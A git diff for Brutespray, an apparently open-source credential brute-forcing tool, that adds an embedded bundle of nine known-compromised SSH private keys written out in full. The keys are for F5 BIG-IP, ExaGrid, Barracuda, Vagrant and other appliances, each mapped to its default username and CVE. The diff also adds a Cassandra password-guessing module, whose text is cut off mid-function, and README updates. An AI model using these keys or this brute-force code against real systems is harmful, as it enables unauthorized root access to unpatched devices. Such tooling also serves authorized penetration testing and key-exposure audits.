diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml index 409d7d2..1f04d65 100644 --- a/.github/FUNDING.yml +++ b/.github/FUNDING.yml @@ -1,5 +1,5 @@ # These are supported funding model platforms github: x90skysn3k -patreon: t1d3nio +patreon: x90sky diff --git a/.gitignore b/.gitignore index 095f96f..8d0f6a6 100644 --- a/.gitignore +++ b/.gitignore @@ -29,3 +29,6 @@ wordlist/winrm/ wordlist/asterisk/ wordlist/teamspeak/ wordlist/xmpp/ +go.work +go.work.sum +docs/superpowers/ diff --git a/README.md b/README.md index 4aa781d..22fea64 100644 --- a/README.md +++ b/README.md @@ -2,13 +2,13 @@ ![Version](https://img.shields.io/badge/Version-2.6.1-red)[![goreleaser](https://github.com/x90skysn3k/brutespray/actions/workflows/release.yml/badge.svg)](https://github.com/x90skysn3k/brutespray/actions/workflows/release.yml)[![Go Report Card](https://goreportcard.com/badge/github.com/x90skysn3k/brutespray/v2)](https://goreportcard.com/report/github.com/x90skysn3k/brutespray/v2) -Created by: Shane Young/@t1d3nio && Jacob Robles/@shellfail +Created by: Shane Young/@x90sky && Jacob Robles/@shellfail Inspired by: Leon Johnson/@sho-luv ## Description -Brutespray automatically attempts default credentials on discovered services. It takes scan output from Nmap (GNMAP/XML), Nessus, Nexpose, JSON, and lists, then brute-forces credentials across 30+ protocols in parallel. Built in Go with an interactive terminal UI, embedded wordlists, and resume capability. +Brutespray automatically attempts default credentials on discovered services. It takes scan output from Nmap (GNMAP/XML), Nessus, Nexpose, JSON, and lists, then brute-forces credentials across 40+ protocols in parallel. Built in Go with an interactive terminal UI, embedded wordlists, and resume capability. @@ -44,7 +44,7 @@ See [all examples](docs/examples.md) for more usage patterns. ## Features -- **30+ protocols** — SSH, FTP, RDP, SMB, MySQL, PostgreSQL, Redis, LDAP, WinRM, and [more](docs/services.md) +- **40+ protocols** — SSH, FTP, RDP, SMB, MySQL, PostgreSQL, Redis, LDAP, WinRM, and [more](docs/services.md) - **Module parameters** — Per-module settings via `-m KEY:VALUE` (auth type, target path, NTLM domain, etc.) - **Multi-auth support** — HTTP Digest/NTLM auto-detection, SMTP PLAIN/LOGIN, IMAP/POP3 SASL, SMB pass-the-hash - **Interactive TUI** — Tabbed views, live settings, pause/resume hosts ([details](docs/tui.md)) @@ -57,6 +57,25 @@ See [all examples](docs/examples.md) for more usage patterns. - **Performance tuning** — Dynamic threading, circuit breaker, rate limiting ([details](docs/advanced.md#performance-tuning)) - **YAML config files** — Per-engagement settings ([details](docs/usage.md#config-file)) +## How brutespray compares + +| Feature | brutespray | hydra | medusa | ncrack | brutus | +|---|---|---|---|---|---| +| Single static binary | ✅ | ❌ | ❌ | ❌ | ✅ | +| Interactive TUI | ✅ | ❌ | ❌ | ❌ | ❌ | +| Checkpoint / resume | ✅ | ❌ | ❌ | ✅ | ❌ | +| Spray mode (lockout-aware) | ✅ | ❌ | ❌ | ❌ | ❌ | +| Per-attempt JSONL output | ✅ | ⚠️ | ❌ | ❌ | ❌ (success-only) | +| SOCKS5 + proxy rotation | ✅ | ⚠️ | ❌ | ❌ | ❌ | +| Embedded SSH bad-keys (CVE-tagged) | ✅ | ❌ | ❌ | ❌ | ✅ | +| Pipeline stdin (naabu / fingerprintx / masscan) | ✅ | ❌ | ❌ | ❌ | ✅ | +| Pre-auth RDP recon (NLA / sticky-keys) | ✅ | ❌ | ❌ | ❌ | ✅ | +| Nmap gnmap + XML / Nessus / Nexpose import | ✅ | ⚠️ | ❌ | ❌ | ⚠️ (nmap only) | +| Per-module params (`-m KEY:VAL`) | ✅ | ❌ | ❌ | ❌ | partial | +| Service count | 41 | 50+ | 34 | 14 | 23 | + +> Symbols reflect documented behavior at PR time. Competing tools change quickly. + ## Supported Services `ssh` `ftp` `ftps` `telnet` `smtp` `smtp-vrfy` `imap` `pop3` `mysql` `postgres` `mssql` `mongodb` `redis` `vnc` `snmp` `smbnt` `rdp` `http` `https` `vmauthd` `teamspeak` `asterisk` `nntp` `oracle` `xmpp` `ldap` `ldaps` `winrm` `rexec` `rlogin` `rsh` `wrapper` @@ -73,7 +92,7 @@ Print discovered services from a scan file with `-P -q`: |-------|-------------| | [Installation](docs/installation.md) | Go install, release binaries, build from source, Docker | | [Usage](docs/usage.md) | CLI flags, config files, input formats | -| [Services](docs/services.md) | All 30+ protocols with ports, status, and notes | +| [Services](docs/services.md) | All 40+ protocols with ports, status, and notes | | [Examples](docs/examples.md) | Common usage patterns and recipes | | [Interactive TUI](docs/tui.md) | Keybindings, tabs, live settings | | [Advanced](docs/advanced.md) | Spray mode, proxy, resume, performance tuning | diff --git a/banner/banner.go b/banner/banner.go index 1dc1c1a..a12ce0c 100644 --- a/banner/banner.go +++ b/banner/banner.go @@ -68,7 +68,7 @@ func Banner(version string, banner_flag bool, noColor bool) { ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ` + "\n" quiet_banner := `Brutespray ` + version + ` -Created by: Shane Young/@t1d3nio && Jacob Robles/@shellfail +Created by: Shane Young/@x90sky && Jacob Robles/@shellfail Inspired by: Leon Johnson/@sho-luv` //ascii art by: Cara Pearson if !banner_flag { diff --git a/brute/badkeys/SOURCES.md b/brute/badkeys/SOURCES.md new file mode 100644 index 0000000..f81e6a3 --- /dev/null +++ b/brute/badkeys/SOURCES.md @@ -0,0 +1,13 @@ +# Bad-keys bundle sources + +This package vendors known-compromised SSH client private keys from: + +- [Rapid7/ssh-badkeys](https://github.com/rapid7/ssh-badkeys) (MIT) — vendor default keys for F5 BIG-IP, ExaGrid, Ceragon FibeAir, Monroe DASDEC, Barracuda, Array Networks, Loadbalancer.org, Quantum DXi +- [HashiCorp Vagrant insecure key](https://github.com/hashicorp/vagrant/tree/main/keys) (MIT) — default Vagrant VM identity + +Only Rapid7's `authorized/` directory (client identities found in real-world +`authorized_keys` files) is mirrored here. The `host/` directory (SSH server +identity keys extracted from firmware) is intentionally excluded — host keys +are not usable for client-side authentication. + +Refreshed via the same monthly cadence as `wordlist/` updates. diff --git a/brute/badkeys/embed.go b/brute/badkeys/embed.go new file mode 100644 index 0000000..edf95ef --- /dev/null +++ b/brute/badkeys/embed.go @@ -0,0 +1,6 @@ +package badkeys + +import "embed" + +//go:embed keys/* metadata.yaml +var assets embed.FS diff --git a/brute/badkeys/keys/array-networks-vapv-vxag.key b/brute/badkeys/keys/array-networks-vapv-vxag.key new file mode 100644 index 0000000..609a01e --- /dev/null +++ b/brute/badkeys/keys/array-networks-vapv-vxag.key @@ -0,0 +1,12 @@ +-----BEGIN DSA PRIVATE KEY----- +MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm +q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM +xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25 +Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr +gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq +mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K +O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ +OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb ++0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs ++sqSEhA35Le2kC4Y1/A= +-----END DSA PRIVATE KEY----- diff --git a/brute/badkeys/keys/barracuda_load_balancer_vm.key b/brute/badkeys/keys/barracuda_load_balancer_vm.key new file mode 100644 index 0000000..b8f94e3 --- /dev/null +++ b/brute/badkeys/keys/barracuda_load_balancer_vm.key @@ -0,0 +1,12 @@ +----BEGIN DSA PRIVATE KEY----- +MIIBuwIBAAKBgQDKuRHCBXXwoyWpMkJz/wQafaHOpqWmVYLn9GZ6eQuNLcIhtZQE +kCWZTNajgf4ZAVmHgQh1JHDixJ1V0mcweti/lvyxiqHap7IkD0a+ewAOoz3OpjQZ +3ox2ovHEnQJfZ/9LNiEI3XK8TPAj6trhMn5tCdwFei6228a+TYBOccTPgwIVAKYW +T8ztHHaN7Gwn0I6keQfBSNw1AoGAHYNfKAcqf7Y4wyoVoZpr/h21SETpEaksQb7h +GRJnFpYN/JiyE9W8nX6UqLv1eKyOXLccAnyda0a+uqcOhsAq8+H15slZYa4+065L +ckPfs0V4cpxeMHTT1hK4TR2/LRpUjhYjgXFE5aLl91f5Gug5HemUK2S0BWh/oI38 +k2WfNh0CgYEArsJgp7RLPOsCeLqoia/eljseBFVDazO5Q0ysUotTw9wgXGGVWREw +m8wNggFNb9eCiBAAUfVZVfhVAtFT0pBf/eIVLPXyaMw3prBt7LqeBrbagODc3WAA +dMTPIdYYcOKgv+YvTXa51zG64v6pQOfS8WXgKCzDl44puXfYeDk5lVQCFAPfgalL ++FT93tofXMuNVfeQMLJl +-----END DSA PRIVATE KEY----- diff --git a/brute/badkeys/keys/ceragon-fibeair-cve-2015-0936.key b/brute/badkeys/keys/ceragon-fibeair-cve-2015-0936.key new file mode 100644 index 0000000..2f14cf0 --- /dev/null +++ b/brute/badkeys/keys/ceragon-fibeair-cve-2015-0936.key @@ -0,0 +1,15 @@ +-----BEGIN RSA PRIVATE KEY----- +MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr +MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+ +IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB +gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3 +CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv +4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY +SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6 +B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV +93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc +WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP +YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll +7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT +uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg== +-----END RSA PRIVATE KEY----- diff --git a/brute/badkeys/keys/exagrid-cve-2016-1561.key b/brute/badkeys/keys/exagrid-cve-2016-1561.key new file mode 100644 index 0000000..867ea40 --- /dev/null +++ b/brute/badkeys/keys/exagrid-cve-2016-1561.key @@ -0,0 +1,15 @@ +-----BEGIN RSA PRIVATE KEY----- +MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10 +hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa +E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA +GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ +BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg +AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y +iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs +Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj +QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz +ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG +XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk +86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y +x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg== +-----END RSA PRIVATE KEY----- diff --git a/brute/badkeys/keys/f5-bigip-cve-2012-1493.key b/brute/badkeys/keys/f5-bigip-cve-2012-1493.key new file mode 100644 index 0000000..1c41560 --- /dev/null +++ b/brute/badkeys/keys/f5-bigip-cve-2012-1493.key @@ -0,0 +1,15 @@ +-----BEGIN RSA PRIVATE KEY----- +MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh +UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk +OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB +gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF +8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv +7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM +2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s +37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL +RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4 +rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/ +uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU +Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G +LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS +-----END RSA PRIVATE KEY----- diff --git a/brute/badkeys/keys/loadbalancer.org-enterprise-va.key b/brute/badkeys/keys/loadbalancer.org-enterprise-va.key new file mode 100644 index 0000000..521e645 --- /dev/null +++ b/brute/badkeys/keys/loadbalancer.org-enterprise-va.key @@ -0,0 +1,12 @@ +-----BEGIN DSA PRIVATE KEY----- +MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW +Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd +yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ +rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+ +t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW +cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY +TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1 +MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl +2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH +SzmJVCWFyVuuANR2Bnc= +-----END DSA PRIVATE KEY----- diff --git a/brute/badkeys/keys/monroe-dasdec-cve-2013-0137.key b/brute/badkeys/keys/monroe-dasdec-cve-2013-0137.key new file mode 100644 index 0000000..16bb3a3 --- /dev/null +++ b/brute/badkeys/keys/monroe-dasdec-cve-2013-0137.key @@ -0,0 +1,12 @@ +-----BEGIN DSA PRIVATE KEY----- +MIIBuwIBAAKBgQDdwCE68iTEMjimYwJMvpkP/KThyJbuKvKc5kdKqLSmi5tssnuW +tD2NqzmkEQM4uxD4XgV26k2/GvE6x4RlyOT+xlB2iYaOR4RJ8PuU8ALz+9i+y3D8 +MTMY/6y3Ef41frizLFXiVVo8CXFL/N8sz16FYytIayJvkSy3rkzPoE8pRwIVAPmA +F1excCJPPVq3MyDfEMUXXOWjAoGAJS8ukwjJTgTNCHD7Lz//WxIw49DPGGWs3are +GpjtiGjVD2Lff7CLCzkH8SI/JsgytUzqfDckSXqe1eWiAhuH90Pl5LZZi83Vp97I +721riAF3taKYxtk+vWIcXx2a/Fp+z+LaQoMqjOLh5lCq35wc0EPb5FFFrGaFFzNm +e71F1X0CgYAU6eNlphQWDwx0KOBiiYhF9BM6kDbQlyw8333rAG3G4CcjI2G8eYGt +pBNliaD185UjCEsjPiudhGil/j4Zt/+VY3aGOLoi8kqXBBc8ZAML9bbkXpyhQhMg +wiywx3ciFmvSn2UAin8yurStYPQxtXauZN5PYbdwCHPS7ApIStdpMAIVAJ+eePIA +Azb0ux287wRfcfdbjlDM +-----END DSA PRIVATE KEY----- diff --git a/brute/badkeys/keys/quantum-dxi-v1000.key b/brute/badkeys/keys/quantum-dxi-v1000.key new file mode 100644 index 0000000..788af40 --- /dev/null +++ b/brute/badkeys/keys/quantum-dxi-v1000.key @@ -0,0 +1,12 @@ +-----BEGIN DSA PRIVATE KEY----- +MIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2 +hMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t +Rw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2 ++o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/4 +6mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5 +PmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr +E0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK +6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn +k/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u +B3Upsx556K/iZPPnJZE= +-----END DSA PRIVATE KEY----- diff --git a/brute/badkeys/keys/vagrant-default.key b/brute/badkeys/keys/vagrant-default.key new file mode 100644 index 0000000..7d6a083 --- /dev/null +++ b/brute/badkeys/keys/vagrant-default.key @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEogIBAAKCAQEA6NF8iallvQVp22WDkTkyrtvp9eWW6A8YVr+kz4TjGYe7gHzI +w+niNltGEFHzD8+v1I2YJ6oXevct1YeS0o9HZyN1Q9qgCgzUFtdOKLv6IedplqoP +kcmF0aYet2PkEDo3MlTBckFXPITAMzF8dJSIFo9D8HfdOV0IAdx4O7PtixWKn5y2 +hMNG0zQPyUecp4pzC6kivAIhyfHilFR61RGL+GPXQ2MWZWFYbAGjyiYJnAmCP3NO +Td0jMZEnDkbUvxhMmBYSdETk1rRgm+R4LOzFUGaHqHDLKLX+FIPKcF96hrucXzcW +yLbIbEgE98OHlnVYCzRdK8jlqm8tehUc9c9WhQIBIwKCAQEA4iqWPJXtzZA68mKd +ELs4jJsdyky+ewdZeNds5tjcnHU5zUYE25K+ffJED9qUWICcLZDc81TGWjHyAqD1 +Bw7XpgUwFgeUJwUlzQurAv+/ySnxiwuaGJfhFM1CaQHzfXphgVml+fZUvnJUTvzf +TK2Lg6EdbUE9TarUlBf/xPfuEhMSlIE5keb/Zz3/LUlRg8yDqz5w+QWVJ4utnKnK +iqwZN0mwpwU7YSyJhlT4YV1F3n4YjLswM5wJs2oqm0jssQu/BT0tyEXNDYBLEF4A +sClaWuSJ2kjq7KhrrYXzagqhnSei9ODYFShJu8UWVec3Ihb5ZXlzO6vdNQ1J9Xsf +4m+2ywKBgQD6qFxx/Rv9CNN96l/4rb14HKirC2o/orApiHmHDsURs5rUKDx0f9iP +cXN7S1uePXuJRK/5hsubaOCx3Owd2u9gD6Oq0CsMkE4CUSiJcYrMANtx54cGH7Rk +EjFZxK8xAv1ldELEyxrFqkbE4BKd8QOt414qjvTGyAK+OLD3M2QdCQKBgQDtx8pN +CAxR7yhHbIWT1AH66+XWN8bXq7l3RO/ukeaci98JfkbkxURZhtxV/HHuvUhnPLdX +3TwygPBYZFNo4pzVEhzWoTtnEtrFueKxyc3+LjZpuo+mBlQ6ORtfgkr9gBVphXZG +YEzkCD3lVdl8L4cw9BVpKrJCs1c5taGjDgdInQKBgHm/fVvv96bJxc9x1tffXAcj +3OVdUN0UgXNCSaf/3A/phbeBQe9xS+3mpc4r6qvx+iy69mNBeNZ0xOitIjpjBo2+ +dBEjSBwLk5q5tJqHmy/jKMJL4n9ROlx93XS+njxgibTvU6Fp9w+NOFD/HvxB3Tcz +6+jJF85D5BNAG3DBMKBjAoGBAOAxZvgsKN+JuENXsST7F89Tck2iTcQIT8g5rwWC +P9Vt74yboe2kDT531w8+egz7nAmRBKNM751U/95P9t88EDacDI/Z2OwnuFQHCPDF +llYOUI+SpLJ6/vURRbHSnnn8a/XG+nzedGH5JGqEJNQsz+xT2axM0/W/CRknmGaJ +kda/AoGANWrLCz708y7VYgAtW2Uf1DPOIYMdvo6fxIB5i9ZfISgcJ/bbCUkFrhoH ++vq/5CIWxCPp0f85R4qxxQ5ihxJ0YDQT9Jpx4TMss4PSavPaBH3RXow5Ohe+bYoQ +NE5OgEXk2wVfZczCZpigBKbKZHNYcelXtTt/nP3rsCuGcM4h53s= +-----END RSA PRIVATE KEY----- diff --git a/brute/badkeys/metadata.yaml b/brute/badkeys/metadata.yaml new file mode 100644 index 0000000..1669d24 --- /dev/null +++ b/brute/badkeys/metadata.yaml @@ -0,0 +1,59 @@ +# Rapid7 ssh-badkeys snapshot + Vagrant insecure key +# Only the authorized/ directory (client private keys found in real-world +# authorized_keys files) is mirrored here. The host/ directory (SSH server +# identity keys extracted from firmware) is intentionally excluded — host keys +# are not usable for client-side authentication. + +- file: vagrant-default.key + username: vagrant + vendor: HashiCorp Vagrant + cve: "" + description: Vagrant insecure default SSH key (any Vagrant VM using the default insecure keypair) + +- file: f5-bigip-cve-2012-1493.key + username: root + vendor: F5 BIG-IP + cve: CVE-2012-1493 + description: F5 BIG-IP 9.x-11.x hardcoded root SSH key used for device communication + +- file: exagrid-cve-2016-1561.key + username: root + vendor: ExaGrid + cve: CVE-2016-1561 + description: ExaGrid EX-series backup appliance hardcoded backdoor SSH key + +- file: ceragon-fibeair-cve-2015-0936.key + username: mateidu + vendor: Ceragon FibeAir + cve: CVE-2015-0936 + description: Ceragon FibeAir IP-10 microwave radio hardcoded support/admin SSH key + +- file: monroe-dasdec-cve-2013-0137.key + username: root + vendor: Monroe Electronics DASDEC + cve: CVE-2013-0137 + description: Monroe Electronics / Digital Alert Systems DASDEC EAS device hardcoded key + +- file: barracuda_load_balancer_vm.key + username: cluster + vendor: Barracuda Networks + cve: CVE-2014-8428 + description: Barracuda Load Balancer VM hardcoded cluster SSH key + +- file: array-networks-vapv-vxag.key + username: sync + vendor: Array Networks + cve: "" + description: Array Networks vAPV / vxAG SSL VPN hardcoded sync user SSH key + +- file: loadbalancer.org-enterprise-va.key + username: root + vendor: Loadbalancer.org + cve: "" + description: Loadbalancer.org Enterprise VA 7.5.2 static root SSH key + +- file: quantum-dxi-v1000.key + username: root + vendor: Quantum + cve: "" + description: Quantum DXi V1000 deduplication appliance hardcoded root SSH key diff --git a/brute/badkeys/registry.go b/brute/badkeys/registry.go new file mode 100644 index 0000000..63e93be --- /dev/null +++ b/brute/badkeys/registry.go @@ -0,0 +1,63 @@ +// Package badkeys provides a curated, embedded bundle of known-compromised +// SSH private keys (Rapid7 ssh-badkeys + Vagrant + vendor defaults). Each +// entry pairs a key with its default username and CVE metadata so brute +// modules can surface CVE-tagged findings without external files. +package badkeys + +import ( + "crypto/sha256" + "encoding/hex" + "fmt" + + "gopkg.in/yaml.v3" +) + +type Entry struct { + File string + Username string + Vendor string + CVE string + Description string + PEM []byte + PEMHash string // SHA-256 of the raw PEM file bytes (NOT an OpenSSH-format fingerprint); used for change-detection across vendor updates +} + +type metaEntry struct { + File string `yaml:"file"` + Username string `yaml:"username"` + Vendor string `yaml:"vendor"` + CVE string `yaml:"cve"` + Description string `yaml:"description"` +} + +func Load() ([]Entry, error) { + raw, err := assets.ReadFile("metadata.yaml") + if err != nil { + return nil, fmt.Errorf("read metadata.yaml: %w", err) + } + var metas []metaEntry + if err := yaml.Unmarshal(raw, &metas); err != nil { + return nil, fmt.Errorf("parse metadata.yaml: %w", err) + } + out := make([]Entry, 0, len(metas)) + for _, m := range metas { + pem, err := assets.ReadFile("keys/" + m.File) + if err != nil { + return nil, fmt.Errorf("read keys/%s: %w", m.File, err) + } + if len(pem) == 0 { + return nil, fmt.Errorf("keys/%s: file is empty", m.File) + } + sum := sha256.Sum256(pem) + out = append(out, Entry{ + File: m.File, + Username: m.Username, + Vendor: m.Vendor, + CVE: m.CVE, + Description: m.Description, + PEM: pem, + PEMHash: hex.EncodeToString(sum[:]), + }) + } + return out, nil +} diff --git a/brute/badkeys/registry_test.go b/brute/badkeys/registry_test.go new file mode 100644 index 0000000..99930c2 --- /dev/null +++ b/brute/badkeys/registry_test.go @@ -0,0 +1,79 @@ +package badkeys + +import ( + "encoding/hex" + "testing" +) + +func TestLoadReturnsNonEmptyBundle(t *testing.T) { + bundle, err := Load() + if err != nil { + t.Fatalf("Load: %v", err) + } + if len(bundle) != 9 { + t.Fatalf("expected 9 keys, got %d", len(bundle)) + } +} + +func TestLoadParsesVagrantEntry(t *testing.T) { + bundle, err := Load() + if err != nil { + t.Fatalf("Load: %v", err) + } + for _, e := range bundle { + if e.Vendor == "HashiCorp Vagrant" { + if e.Username != "vagrant" { + t.Fatalf("vagrant entry username = %q, want vagrant", e.Username) + } + if len(e.PEM) < 100 { + t.Fatalf("vagrant PEM too short: %d bytes", len(e.PEM)) + } + return + } + } + t.Fatal("no Vagrant entry found in bundle") +} + +func TestPEMHashIsHexSHA256(t *testing.T) { + bundle, err := Load() + if err != nil { + t.Fatalf("Load: %v", err) + } + for _, e := range bundle { + if e.PEMHash == "" { + t.Errorf("entry %q has empty PEMHash", e.File) + continue + } + if len(e.PEMHash) != 64 { + t.Errorf("entry %q PEMHash length = %d, want 64", e.File, len(e.PEMHash)) + continue + } + b, err := hex.DecodeString(e.PEMHash) + if err != nil || len(b) != 32 { + t.Errorf("entry %q PEMHash %q is not valid lowercase hex SHA-256", e.File, e.PEMHash) + } + } +} + +func TestLoadIsDeterministic(t *testing.T) { + first, err := Load() + if err != nil { + t.Fatalf("Load (first): %v", err) + } + second, err := Load() + if err != nil { + t.Fatalf("Load (second): %v", err) + } + if len(first) != len(second) { + t.Fatalf("non-deterministic length: first=%d second=%d", len(first), len(second)) + } + for i := range first { + if first[i].PEMHash != second[i].PEMHash { + t.Errorf("entry %d (%s): PEMHash differs between calls: %q vs %q", + i, first[i].File, first[i].PEMHash, second[i].PEMHash) + } + if first[i].File != second[i].File { + t.Errorf("entry %d: File differs: %q vs %q", i, first[i].File, second[i].File) + } + } +} diff --git a/brute/cassandra.go b/brute/cassandra.go new file mode 100644 index 0000000..9429f2e --- /dev/null +++ b/brute/cassandra.go @@ -0,0 +1,39 @@ +package brute + +import ( + "context" + "fmt" + "strings" + "time" + + "github.com/gocql/gocql" + "github.com/x90skysn3k/brutespray/v2/modules" +) + +func BruteCassandra(host string, port int, user, password string, timeout time.Duration, cm *modules.ConnectionManager, params ModuleParams) *BruteResult { + return RunWithTimeout(timeout, func(ctx context.Context) *BruteResult { + cluster := gocql.NewCluster(fmt.Sprintf("%s:%d", host, port)) + cluster.ProtoVersion = 4 + cluster.ConnectTimeout = timeout + cluster.Timeout = timeout + cluster.Authenticator = gocql.PasswordAuthenticator{ + Username: user, + Password: password, + } + cluster.DisableInitialHostLookup = true + sess, err := cluster.CreateSession() + if err != nil { + msg := err.Error() + if strings.Contains(msg, "Authentication") || + strings.Contains(msg, "Bad credentials") || + strings.Contains(msg, "Unauthorized") { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: true, Error: err} + } + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err} + } + defer sess.Close() + return &BruteResult{AuthSuccess: true, ConnectionSuccess: true} + 